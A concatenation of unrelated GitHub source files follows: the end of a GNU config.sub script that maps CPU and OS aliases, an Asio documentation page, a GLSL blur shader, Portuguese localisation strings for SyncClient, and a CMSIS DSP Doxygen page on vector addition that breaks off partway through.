ppcle-* | powerpclittle-*) basic_machine=powerpcle-`echo "$basic_machine" | sed 's/^[^-]*-//'` ;; ppc64) basic_machine=powerpc64-unknown ;; ppc64-*) basic_machine=powerpc64-`echo "$basic_machine" | sed 's/^[^-]*-//'` ;; ppc64le | powerpc64little) basic_machine=powerpc64le-unknown ;; ppc64le-* | powerpc64little-*) basic_machine=powerpc64le-`echo "$basic_machine" | sed 's/^[^-]*-//'` ;; ps2) basic_machine=i386-ibm ;; rm[46]00) basic_machine=mips-siemens ;; rtpc | rtpc-*) basic_machine=romp-ibm ;; s390 | s390-*) basic_machine=s390-ibm ;; s390x | s390x-*) basic_machine=s390x-ibm ;; sb1) basic_machine=mipsisa64sb1-unknown ;; sb1el) basic_machine=mipsisa64sb1el-unknown ;; sde) basic_machine=mipsisa32-sde os=${os:-elf} ;; sequent) basic_machine=i386-sequent ;; sh5el) basic_machine=sh5le-unknown ;; simso-wrs) basic_machine=sparclite-wrs os=vxworks ;; spur) basic_machine=spur-unknown ;; st2000) basic_machine=m68k-tandem ;; strongarm-* | thumb-*) basic_machine=arm-`echo "$basic_machine" | sed 's/^[^-]*-//'` ;; sun2) basic_machine=m68000-sun ;; sun3 | sun3-*) basic_machine=m68k-sun ;; sun4) basic_machine=sparc-sun ;; sun386 | sun386i | roadrunner) basic_machine=i386-sun ;; tile*) basic_machine=$basic_machine-unknown os=linux-gnu ;; tx39) basic_machine=mipstx39-unknown ;; tx39el) basic_machine=mipstx39el-unknown ;; tower | tower-32) basic_machine=m68k-ncr ;; vpp*|vx|vx-*) basic_machine=f301-fujitsu ;; w65*) basic_machine=w65-wdc os=none ;; w89k-*) basic_machine=hppa1.1-winbond os=proelf ;; x64) basic_machine=x86_64-pc ;; xps | xps100) basic_machine=xps100-honeywell ;; xscale-* | xscalee[bl]-*) basic_machine=`echo "$basic_machine" | sed 's/^xscale/arm/'` ;; none) basic_machine=none-none os=${os:-none} ;; # Here we handle the default manufacturer of certain CPU types. It is in # some cases the only manufacturer, in others, it is the most popular. w89k) basic_machine=hppa1.1-winbond ;; op50n) basic_machine=hppa1.1-oki ;; op60c) basic_machine=hppa1.1-oki ;; romp) basic_machine=romp-ibm ;; mmix) basic_machine=mmix-knuth ;; rs6000) basic_machine=rs6000-ibm ;; vax) basic_machine=vax-dec ;; pdp11) basic_machine=pdp11-dec ;; we32k) basic_machine=we32k-att ;; sh[1234] | sh[24]a | sh[24]aeb | sh[34]eb | sh[1234]le | sh[23]ele) basic_machine=sh-unknown ;; cydra) basic_machine=cydra-cydrome ;; orion) basic_machine=orion-highlevel ;; orion105) basic_machine=clipper-highlevel ;; mac | mpw | mac-mpw) basic_machine=m68k-apple ;; pmac | pmac-mpw) basic_machine=powerpc-apple ;; *-unknown) # Make sure to match an already-canonicalized machine name. ;; *) echo Invalid configuration \`"$1"\': machine \`"$basic_machine"\' not recognized 1>&2 exit 1 ;; esac # Here we canonicalize certain aliases for manufacturers. case $basic_machine in *-digital*) basic_machine=`echo "$basic_machine" | sed 's/digital.*/dec/'` ;; *-commodore*) basic_machine=`echo "$basic_machine" | sed 's/commodore.*/cbm/'` ;; *) ;; esac # Decode manufacturer-specific aliases for certain operating systems. if [ x$os != x ] then case $os in # First match some system type aliases that might get confused # with valid system types. # solaris* is a basic system type, with this one exception. auroraux) os=auroraux ;; bluegene*) os=cnk ;; solaris1 | solaris1.*) os=`echo $os | sed -e 's|solaris1|sunos4|'` ;; solaris) os=solaris2 ;; unixware*) os=sysv4.2uw ;; gnu/linux*) os=`echo $os | sed -e 's|gnu/linux|linux-gnu|'` ;; # es1800 is here to avoid being matched by es* (a different OS) es1800*) os=ose ;; # Some version numbers need modification chorusos*) os=chorusos ;; isc) os=isc2.2 ;; sco6) os=sco5v6 ;; sco5) os=sco3.2v5 ;; sco4) os=sco3.2v4 ;; sco3.2.[4-9]*) os=`echo $os | sed -e 's/sco3.2./sco3.2v/'` ;; sco3.2v[4-9]* | sco5v6*) # Don't forget version if it is 3.2v4 or newer. ;; scout) # Don't match below ;; sco*) os=sco3.2v2 ;; psos*) os=psos ;; # Now accept the basic system types. # The portable systems comes first. # Each alternative MUST end in a * to match a version number. # sysv* is not here because it comes later, after sysvr4. gnu* | bsd* | mach* | minix* | genix* | ultrix* | irix* \ | *vms* | esix* | aix* | cnk* | sunos | sunos[34]*\ | hpux* | unos* | osf* | luna* | dgux* | auroraux* | solaris* \ | sym* | kopensolaris* | plan9* \ | amigaos* | amigados* | msdos* | newsos* | unicos* | aof* \ | aos* | aros* | cloudabi* | sortix* \ | nindy* | vxsim* | vxworks* | ebmon* | hms* | mvs* \ | clix* | riscos* | uniplus* | iris* | rtu* | xenix* \ | knetbsd* | mirbsd* | netbsd* \ | bitrig* | openbsd* | solidbsd* | libertybsd* \ | ekkobsd* | kfreebsd* | freebsd* | riscix* | lynxos* \ | bosx* | nextstep* | cxux* | aout* | elf* | oabi* \ | ptx* | coff* | ecoff* | winnt* | domain* | vsta* \ | udi* | eabi* | lites* | ieee* | go32* | aux* | hcos* \ | chorusrdb* | cegcc* | glidix* \ | cygwin* | msys* | pe* | moss* | proelf* | rtems* \ | midipix* | mingw32* | mingw64* | linux-gnu* | linux-android* \ | linux-newlib* | linux-musl* | linux-uclibc* \ | uxpv* | beos* | mpeix* | udk* | moxiebox* \ | interix* | uwin* | mks* | rhapsody* | darwin* \ | openstep* | oskit* | conix* | pw32* | nonstopux* \ | storm-chaos* | tops10* | tenex* | tops20* | its* \ | os2* | vos* | palmos* | uclinux* | nucleus* \ | morphos* | superux* | rtmk* | windiss* \ | powermax* | dnix* | nx6 | nx7 | sei* | dragonfly* \ | skyos* | haiku* | rdos* | toppers* | drops* | es* \ | onefs* | tirtos* | phoenix* | fuchsia* | redox* | bme* \ | midnightbsd*) # Remember, each alternative MUST END IN *, to match a version number. ;; qnx*) case $basic_machine in x86-* | i*86-*) ;; *) os=nto-$os ;; esac ;; hiux*) os=hiuxwe2 ;; nto-qnx*) ;; nto*) os=`echo $os | sed -e 's|nto|nto-qnx|'` ;; sim | xray | os68k* | v88r* \ | windows* | osx | abug | netware* | os9* \ | macos* | mpw* | magic* | mmixware* | mon960* | lnews*) ;; linux-dietlibc) os=linux-dietlibc ;; linux*) os=`echo $os | sed -e 's|linux|linux-gnu|'` ;; lynx*178) os=lynxos178 ;; lynx*5) os=lynxos5 ;; lynx*) os=lynxos ;; mac*) os=`echo "$os" | sed -e 's|mac|macos|'` ;; opened*) os=openedition ;; os400*) os=os400 ;; sunos5*) os=`echo "$os" | sed -e 's|sunos5|solaris2|'` ;; sunos6*) os=`echo "$os" | sed -e 's|sunos6|solaris3|'` ;; wince*) os=wince ;; utek*) os=bsd ;; dynix*) os=bsd ;; acis*) os=aos ;; atheos*) os=atheos ;; syllable*) os=syllable ;; 386bsd) os=bsd ;; ctix* | uts*) os=sysv ;; nova*) os=rtmk-nova ;; ns2) os=nextstep2 ;; nsk*) os=nsk ;; # Preserve the version number of sinix5. sinix5.*) os=`echo $os | sed -e 's|sinix|sysv|'` ;; sinix*) os=sysv4 ;; tpf*) os=tpf ;; triton*) os=sysv3 ;; oss*) os=sysv3 ;; svr4*) os=sysv4 ;; svr3) os=sysv3 ;; sysvr4) os=sysv4 ;; # This must come after sysvr4. sysv*) ;; ose*) os=ose ;; *mint | mint[0-9]* | *MiNT | MiNT[0-9]*) os=mint ;; zvmoe) os=zvmoe ;; dicos*) os=dicos ;; pikeos*) # Until real need of OS specific support for # particular features comes up, bare metal # configurations are quite functional. case $basic_machine in arm*) os=eabi ;; *) os=elf ;; esac ;; nacl*) ;; ios) ;; none) ;; *-eabi) ;; *) echo Invalid configuration \`"$1"\': system \`"$os"\' not recognized 1>&2 exit 1 ;; esac else # Here we handle the default operating systems that come with various machines. # The value should be what the vendor currently ships out the door with their # machine or put another way, the most popular os provided with the machine. # Note that if you're going to try to match "-MANUFACTURER" here (say, # "-sun"), then you have to tell the case statement up towards the top # that MANUFACTURER isn't an operating system. Otherwise, code above # will signal an error saying that MANUFACTURER isn't an operating # system, and we'll never get to this point. case $basic_machine in score-*) os=elf ;; spu-*) os=elf ;; *-acorn) os=riscix1.2 ;; arm*-rebel) os=linux ;; arm*-semi) os=aout ;; c4x-* | tic4x-*) os=coff ;; c8051-*) os=elf ;; clipper-intergraph) os=clix ;; hexagon-*) os=elf ;; tic54x-*) os=coff ;; tic55x-*) os=coff ;; tic6x-*) os=coff ;; # This must come before the *-dec entry. pdp10-*) os=tops20 ;; pdp11-*) os=none ;; *-dec | vax-*) os=ultrix4.2 ;; m68*-apollo) os=domain ;; i386-sun) os=sunos4.0.2 ;; m68000-sun) os=sunos3 ;; m68*-cisco) os=aout ;; mep-*) os=elf ;; mips*-cisco) os=elf ;; mips*-*) os=elf ;; or32-*) os=coff ;; *-tti) # must be before sparc entry or we get the wrong os. os=sysv3 ;; sparc-* | *-sun) os=sunos4.1.1 ;; pru-*) os=elf ;; *-be) os=beos ;; *-ibm) os=aix ;; *-knuth) os=mmixware ;; *-wec) os=proelf ;; *-winbond) os=proelf ;; *-oki) os=proelf ;; *-hp) os=hpux ;; *-hitachi) os=hiux ;; i860-* | *-att | *-ncr | *-altos | *-motorola | *-convergent) os=sysv ;; *-cbm) os=amigaos ;; *-dg) os=dgux ;; *-dolphin) os=sysv3 ;; m68k-ccur) os=rtu ;; m88k-omron*) os=luna ;; *-next) os=nextstep ;; *-sequent) os=ptx ;; *-crds) os=unos ;; *-ns) os=genix ;; i370-*) os=mvs ;; *-gould) os=sysv ;; *-highlevel) os=bsd ;; *-encore) os=bsd ;; *-sgi) os=irix ;; *-siemens) os=sysv4 ;; *-masscomp) os=rtu ;; f30[01]-fujitsu | f700-fujitsu) os=uxpv ;; *-rom68k) os=coff ;; *-*bug) os=coff ;; *-apple) os=macos ;; *-atari*) os=mint ;; *-wrs) os=vxworks ;; *) os=none ;; esac fi # Here we handle the case where we know the os, and the CPU type, but not the # manufacturer. We pick the logical manufacturer. vendor=unknown case $basic_machine in *-unknown) case $os in riscix*) vendor=acorn ;; sunos*) vendor=sun ;; cnk*|-aix*) vendor=ibm ;; beos*) vendor=be ;; hpux*) vendor=hp ;; mpeix*) vendor=hp ;; hiux*) vendor=hitachi ;; unos*) vendor=crds ;; dgux*) vendor=dg ;; luna*) vendor=omron ;; genix*) vendor=ns ;; clix*) vendor=intergraph ;; mvs* | opened*) vendor=ibm ;; os400*) vendor=ibm ;; ptx*) vendor=sequent ;; tpf*) vendor=ibm ;; vxsim* | vxworks* | windiss*) vendor=wrs ;; aux*) vendor=apple ;; hms*) vendor=hitachi ;; mpw* | macos*) vendor=apple ;; *mint | mint[0-9]* | *MiNT | MiNT[0-9]*) vendor=atari ;; vos*) vendor=stratus ;; esac basic_machine=`echo "$basic_machine" | sed "s/unknown/$vendor/"` ;; esac echo "$basic_machine-$os" exit # Local variables: # eval: (add-hook 'before-save-hook 'time-stamp) # time-stamp-start: "timestamp='" # time-stamp-format: "%:y-%02m-%02d" # time-stamp-end: "'" # End:
{ "pile_set_name": "Github" }
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=US-ASCII"> <title>windows::stream_handle::operator=</title> <link rel="stylesheet" href="../../../boostbook.css" type="text/css"> <meta name="generator" content="DocBook XSL Stylesheets V1.75.2"> <link rel="home" href="../../../index.html" title="Asio"> <link rel="up" href="../windows__stream_handle.html" title="windows::stream_handle"> <link rel="prev" href="native_handle_type.html" title="windows::stream_handle::native_handle_type"> <link rel="next" href="read_some.html" title="windows::stream_handle::read_some"> </head> <body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF"> <table cellpadding="2" width="100%"><tr><td valign="top"><img alt="asio C++ library" width="250" height="60" src="../../../asio.png"></td></tr></table> <hr> <div class="spirit-nav"> <a accesskey="p" href="native_handle_type.html"><img src="../../../prev.png" alt="Prev"></a><a accesskey="u" href="../windows__stream_handle.html"><img src="../../../up.png" alt="Up"></a><a accesskey="h" href="../../../index.html"><img src="../../../home.png" alt="Home"></a><a accesskey="n" href="read_some.html"><img src="../../../next.png" alt="Next"></a> </div> <div class="section"> <div class="titlepage"><div><div><h4 class="title"> <a name="asio.reference.windows__stream_handle.operator_eq_"></a><a class="link" href="operator_eq_.html" title="windows::stream_handle::operator=">windows::stream_handle::operator=</a> </h4></div></div></div> <p> <a class="indexterm" name="asio.indexterm.windows__stream_handle.operator_eq_"></a> Move-assign a <a class="link" href="../windows__stream_handle.html" title="windows::stream_handle"><code class="computeroutput">windows::stream_handle</code></a> from another. </p> <pre class="programlisting">stream_handle &amp; operator=( stream_handle &amp;&amp; other); </pre> <p> This assignment operator moves a stream handle from one object to another. </p> <h6> <a name="asio.reference.windows__stream_handle.operator_eq_.h0"></a> <span><a name="asio.reference.windows__stream_handle.operator_eq_.parameters"></a></span><a class="link" href="operator_eq_.html#asio.reference.windows__stream_handle.operator_eq_.parameters">Parameters</a> </h6> <div class="variablelist"> <p class="title"><b></b></p> <dl> <dt><span class="term">other</span></dt> <dd><p> The other <a class="link" href="../windows__stream_handle.html" title="windows::stream_handle"><code class="computeroutput">windows::stream_handle</code></a> object from which the move will occur. </p></dd> </dl> </div> <h6> <a name="asio.reference.windows__stream_handle.operator_eq_.h1"></a> <span><a name="asio.reference.windows__stream_handle.operator_eq_.remarks"></a></span><a class="link" href="operator_eq_.html#asio.reference.windows__stream_handle.operator_eq_.remarks">Remarks</a> </h6> <p> Following the move, the moved-from object is in the same state as if constructed using the <code class="computeroutput">stream_handle(io_context&amp;) constructor</code>. </p> </div> <table xmlns:rev="http://www.cs.rpi.edu/~gregod/boost/tools/doc/revision" width="100%"><tr> <td align="left"></td> <td align="right"><div class="copyright-footer">Copyright &#169; 2003-2018 Christopher M. Kohlhoff<p> Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at <a href="http://www.boost.org/LICENSE_1_0.txt" target="_top">http://www.boost.org/LICENSE_1_0.txt</a>) </p> </div></td> </tr></table> <hr> <div class="spirit-nav"> <a accesskey="p" href="native_handle_type.html"><img src="../../../prev.png" alt="Prev"></a><a accesskey="u" href="../windows__stream_handle.html"><img src="../../../up.png" alt="Up"></a><a accesskey="h" href="../../../index.html"><img src="../../../home.png" alt="Home"></a><a accesskey="n" href="read_some.html"><img src="../../../next.png" alt="Next"></a> </div> </body> </html>
{ "pile_set_name": "Github" }
#version 450 layout(push_constant) uniform Push { vec4 SourceSize; vec4 OriginalSize; vec4 OutputSize; uint FrameCount; } params; layout(std140, set = 0, binding = 0) uniform UBO { mat4 MVP; } global; ///////////////////////////////// MIT LICENSE //////////////////////////////// // Copyright (C) 2014 TroggleMonkey // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to // deal in the Software without restriction, including without limitation the // rights to use, copy, modify, merge, publish, distribute, sublicense, and/or // sell copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS // IN THE SOFTWARE. ///////////////////////////// SETTINGS MANAGEMENT //////////////////////////// // PASS SETTINGS: // gamma-management.h needs to know what kind of pipeline we're using and // what pass this is in that pipeline. This will become obsolete if/when we // can #define things like this in the .cgp preset file. #define GAMMA_ENCODE_EVERY_FBO //#define FIRST_PASS #define LAST_PASS //#define SIMULATE_CRT_ON_LCD //#define SIMULATE_GBA_ON_LCD //#define SIMULATE_LCD_ON_CRT //#define SIMULATE_GBA_ON_CRT /////////////////////////////// VERTEX INCLUDES /////////////////////////////// #include "../include/compat_macros.inc" #pragma stage vertex #include "vertex-shader-blur-fast-horizontal.h" /////////////////////////////// FRAGMENT SHADER ////////////////////////////// #pragma stage fragment layout(location = 0) in vec2 tex_uv; layout(location = 1) in vec2 blur_dxdy; layout(location = 0) out vec4 FragColor; layout(set = 0, binding = 2) uniform sampler2D Source; #define input_texture Source ///////////////////////////// FRAGMENT INCLUDES ///////////////////////////// #include "../include/gamma-management.h" #include "../include/blur-functions.h" void main() { vec3 color = tex2Dblur5fast(Source, tex_uv, blur_dxdy); // Encode and output the blurred image: FragColor = encode_output(vec4(color, 1.0)); }
{ "pile_set_name": "Github" }
/* Class = "IBUILabel"; text = "SyncClient requires a Firefox Sync account. Use Firefox on your computer to create an account."; ObjectID = "6"; */ "6.text" = "O SyncClient requere uma conta Firefox Sync. Use o Firefox no seu computador para a criar."; /* Class = "IBUIButton"; normalTitle = "Send Me Instructions"; ObjectID = "7"; */ "7.normalTitle" = "Enviar-me as instruções"; /* Class = "IBUIButton"; normalTitle = "I Have A Sync Account"; ObjectID = "8"; */ "8.normalTitle" = "Tenho uma conta Sync";
{ "pile_set_name": "Github" }
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <title>CMSIS DSP Software Library: Vector Addition</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javaScript" src="search/search.js"></script> <link href="doxygen.css" rel="stylesheet" type="text/css"/> </head> <body onload='searchBox.OnSelectItem(0);'> <!-- Generated by Doxygen 1.7.2 --> <script type="text/javascript"><!-- var searchBox = new SearchBox("searchBox", "search",false,'Search'); --></script> <div class="navigation" id="top"> <div class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main&#160;Page</span></a></li> <li><a href="modules.html"><span>Modules</span></a></li> <li><a href="annotated.html"><span>Data&#160;Structures</span></a></li> <li><a href="files.html"><span>Files</span></a></li> <li><a href="examples.html"><span>Examples</span></a></li> <li id="searchli"> <div id="MSearchBox" class="MSearchBoxInactive"> <span class="left"> <img id="MSearchSelect" src="search/mag_sel.png" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" alt=""/> <input type="text" id="MSearchField" value="Search" accesskey="S" onfocus="searchBox.OnSearchFieldFocus(true)" onblur="searchBox.OnSearchFieldFocus(false)" onkeyup="searchBox.OnSearchFieldChange(event)"/> </span><span class="right"> <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a> </span> </div> </li> </ul> </div> </div> <div class="header"> <div class="summary"> <a href="#func-members">Functions</a> </div> <div class="headertitle"> <h1>Vector Addition<br/> <small> [<a class="el" href="group__group_math.html">Basic Math Functions</a>]</small> </h1> </div> </div> <div class="contents"> <table class="memberdecls"> <tr><td colspan="2"><h2><a name="func-members"></a> Functions</h2></td></tr> <tr><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group___basic_add.html#ga6a904a547413b10565dd1d251c6bafbd">arm_add_f32</a> (<a class="el" href="arm__math_8h.html#a4611b605e45ab401f02cab15c5e38715">float32_t</a> *pSrcA, <a class="el" href="arm__math_8h.html#a4611b605e45ab401f02cab15c5e38715">float32_t</a> *pSrcB, <a class="el" href="arm__math_8h.html#a4611b605e45ab401f02cab15c5e38715">float32_t</a> *pDst, uint32_t <a class="el" href="arm__variance__example__f32_8c.html#ab6558f40a619c2502fbc24c880fd4fb0">blockSize</a>)</td></tr> <tr><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group___basic_add.html#ga24d6c3f7f8b9fae4847c0c3f26a39a3b">arm_add_q31</a> (<a class="el" href="arm__math_8h.html#adc89a3547f5324b7b3b95adec3806bc0">q31_t</a> *pSrcA, <a class="el" href="arm__math_8h.html#adc89a3547f5324b7b3b95adec3806bc0">q31_t</a> *pSrcB, <a class="el" href="arm__math_8h.html#adc89a3547f5324b7b3b95adec3806bc0">q31_t</a> *pDst, uint32_t <a class="el" href="arm__variance__example__f32_8c.html#ab6558f40a619c2502fbc24c880fd4fb0">blockSize</a>)</td></tr> <tr><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group___basic_add.html#gabb51285a41f511670bbff62fc0e1bf62">arm_add_q15</a> (<a class="el" href="arm__math_8h.html#ab5a8fb21a5b3b983d5f54f31614052ea">q15_t</a> *pSrcA, <a class="el" href="arm__math_8h.html#ab5a8fb21a5b3b983d5f54f31614052ea">q15_t</a> *pSrcB, <a class="el" href="arm__math_8h.html#ab5a8fb21a5b3b983d5f54f31614052ea">q15_t</a> *pDst, uint32_t <a class="el" href="arm__variance__example__f32_8c.html#ab6558f40a619c2502fbc24c880fd4fb0">blockSize</a>)</td></tr> <tr><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group___basic_add.html#gaed633f415a7840a66861debca2dfb96b">arm_add_q7</a> (<a class="el" href="arm__math_8h.html#ae541b6f232c305361e9b416fc9eed263">q7_t</a> *pSrcA, <a class="el" href="arm__math_8h.html#ae541b6f232c305361e9b416fc9eed263">q7_t</a> *pSrcB, <a class="el" href="arm__math_8h.html#ae541b6f232c305361e9b416fc9eed263">q7_t</a> *pDst, uint32_t <a class="el" href="arm__variance__example__f32_8c.html#ab6558f40a619c2502fbc24c880fd4fb0">blockSize</a>)</td></tr> </table> <hr/><a name="_details"></a><h2>Detailed Description</h2> <p>Element-by-element addition of two vectors.</p> <pre> pDst[n] = pSrcA[n] + pSrcB[n], 0 &lt;= n &lt; blockSize. </pre><p>There are separate functions for floating-point, Q7, Q15, and Q31 data types. </p> <hr/><h2>Function Documentation</h2> <a class="anchor" id="ga6a904a547413b10565dd1d251c6bafbd"></a><!-- doxytag: member="arm_add_f32.c::arm_add_f32" ref="ga6a904a547413b10565dd1d251c6bafbd" args="(float32_t *pSrcA, float32_t *pSrcB, float32_t *pDst, uint32_t blockSize)" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void arm_add_f32 </td> <td>(</td> <td class="paramtype"><a class="el" href="arm__math_8h.html#a4611b605e45ab401f02cab15c5e38715">float32_t</a> *&#160;</td> <td class="paramname"> <em>pSrcA</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="arm__math_8h.html#a4611b605e45ab401f02cab15c5e38715">float32_t</a> *&#160;</td> <td class="paramname"> <em>pSrcB</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="arm__math_8h.html#a4611b605e45ab401f02cab15c5e38715">float32_t</a> *&#160;</td> <td class="paramname"> <em>pDst</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">uint32_t&#160;</td> <td class="paramname"> <em>blockSize</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div> <div class="memdoc"> <p>Floating-point vector addition. </p> <dl><dt><b>Parameters:</b></dt><dd> <table class="params"> <tr><td class="paramdir">[in]</td><td class="paramname">*pSrcA</td><td>points to the first input vector </td></tr> <tr><td class="paramdir">[in]</td><td class="paramname">*pSrcB</td><td>points to the second input vector </td></tr> <tr><td class="paramdir">[out]</td><td class="paramname">*pDst</td><td>points to the output vector </td></tr> <tr><td class="paramdir">[in]</td><td class="paramname">blockSize</td><td>number of samples in each vector </td></tr> </table> </dd> </dl> <dl class="return"><dt><b>Returns:</b></dt><dd>none. </dd></dl> <dl><dt><b>Examples: </b></dt><dd><a class="el" href="arm_dotproduct_example_f32_8c-example.html#a9">arm_dotproduct_example_f32.c</a>, and <a class="el" href="arm_sin_cos_example_f32_8c-example.html#a14">arm_sin_cos_example_f32.c</a>.</dd> </dl> <p>Definition at line <a class="el" href="arm__add__f32_8c_source.html#l00065">65</a> of file <a class="el" href="arm__add__f32_8c_source.html">arm_add_f32.c</a>.</p> </div> </div> <a class="anchor" id="ga24d6c3f7f8b9fae4847c0c3f26a39a3b"></a><!-- doxytag: member="arm_add_q31.c::arm_add_q31" ref="ga24d6c3f7f8b9fae4847c0c3f26a39a3b" args="(q31_t *pSrcA, q31_t *pSrcB, q31_t *pDst, uint32_t blockSize)" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void arm_add_q31 </td> <td>(</td> <td class="paramtype"><a class="el" href="arm__math_8h.html#adc89a3547f5324b7b3b95adec3806bc0">q31_t</a> *&#160;</td> <td class="paramname"> <em>pSrcA</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="arm__math_8h.html#adc89a3547f5324b7b3b95adec3806bc0">q31_t</a> *&#160;</td> <td class="paramname"> <em>pSrcB</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="arm__math_8h.html#adc89a3547f5324b7b3b95adec3806bc0">q31_t</a> *&#160;</td> <td class="paramname"> <em>pDst</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">uint32_t&#160;</td> <td class="paramname"> <em>blockSize</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div> <div class="memdoc"> <p>Q31 vector addition. </p> <dl><dt><b>Parameters:</b></dt><dd> <table class="params"> <tr><td class="paramdir">[in]</td><td class="paramname">*pSrcA</td><td>points to the first input vector </td></tr> <tr><td class="paramdir">[in]</td><td class="paramname">*pSrcB</td><td>points to the second input vector </td></tr> <tr><td class="paramdir">[out]</td><td class="paramname">*pDst</td><td>points to the output vector </td></tr> <tr><td class="paramdir">[in]</td><td class="paramname">blockSize</td><td>number of samples in each vector </td></tr> </table> </dd> </dl> <dl class="return"><dt><b>Returns:</b></dt><dd>none.</dd></dl> <p><b>Scaling and Overflow Behavior:</b> </p> <dl class="user"><dt><b></b></dt><dd>The function uses saturating arithmetic. Results outside of the allowable Q31 range[0x80000000 0x7FFFFFFF] will be saturated. </dd></dl> <p>Definition at line <a class="el" href="arm__add__q31_8c_source.html#l00059">59</a> of file <a class="el" href="arm__add__q31_8c_source.html">arm_add_q31.c</a>.</p> </div> </div> <a class="anchor" id="gabb51285a41f511670bbff62fc0e1bf62"></a><!-- doxytag: member="arm_add_q15.c::arm_add_q15" ref="gabb51285a41f511670bbff62fc0e1bf62" args="(q15_t *pSrcA, q15_t *pSrcB, q15_t *pDst, uint32_t blockSize)" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void arm_add_q15 </td> <td>(</td> <td class="paramtype"><a class="el" href="arm__math_8h.html#ab5a8fb21a5b3b983d5f54f31614052ea">q15_t</a> *&#160;</td> <td class="paramname"> <em>pSrcA</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="arm__math_8h.html#ab5a8fb21a5b3b983d5f54f31614052ea">q15_t</a> *&#160;</td> <td class="paramname"> <em>pSrcB</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="arm__math_8h.html#ab5a8fb21a5b3b983d5f54f31614052ea">q15_t</a> *&#160;</td> <td class="paramname"> <em>pDst</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">uint32_t&#160;</td> <td class="paramname"> <em>blockSize</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div> <div class="memdoc"> <p>Q15 vector addition. </p> <dl><dt><b>Parameters:</b></dt><dd> <table class="params"> <tr><td class="paramdir">[in]</td><td class="paramname">*pSrcA</td><td>points to the first input vector </td></tr> <tr><td class="paramdir">[in]</td><td class="paramname">*pSrcB</td><td>points to the second input vector </td></tr> <tr><td class="paramdir">[out]</td><td class="paramname">*pDst</td><td>points to the output vector </td></tr> <tr><td class="paramdir">[in]</td><td class="paramname">blockSize</td><td>number of samples in each vector </td></tr> </table> </dd> </dl> <dl class="return"><dt><b>Returns:</b></dt><dd>none.</dd></dl> <p><b>Scaling and Overflow Behavior:</b> </p> <dl class="user"><dt><b></b></dt><dd>The function uses saturating arithmetic. Results outside of the allowable Q15 range [0x8000 0x7FFF] will be saturated. </dd></dl> <p>Definition at line <a class="el" href="arm__add__q15_8c_source.html#l00058">58</a> of file <a class="el" href="arm__add__q15_8c_source.html">arm_add_q15.c</a>.</p> </div> </div> <a class="anchor" id="gaed633f415a7840a66861debca2dfb96b"></a><!-- doxytag: member="arm_add_q7.c::arm_add_q7" ref="gaed633f415a7840a66861debca2dfb96b" args="(q7_t *pSrcA, q7_t *pSrcB, q7_t *pDst, uint32_t blockSize)" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void arm_add_q7 </td> <td>(</td> <td class="paramtype"><a class="el" href="arm__math_8h.html#ae541b6f232c305361e9b416fc9eed263">q7_t</a> *&#160;</td> <td class="paramname"> <em>pSrcA</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="arm__math_8h.html#ae541b6f232c305361e9b416fc9eed263">q7_t</a> *&#160;</td> <td class="paramname"> <em>pSrcB</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="arm__math_8h.html#ae541b6f232c305361e9b416fc9eed263">q7_t</a> 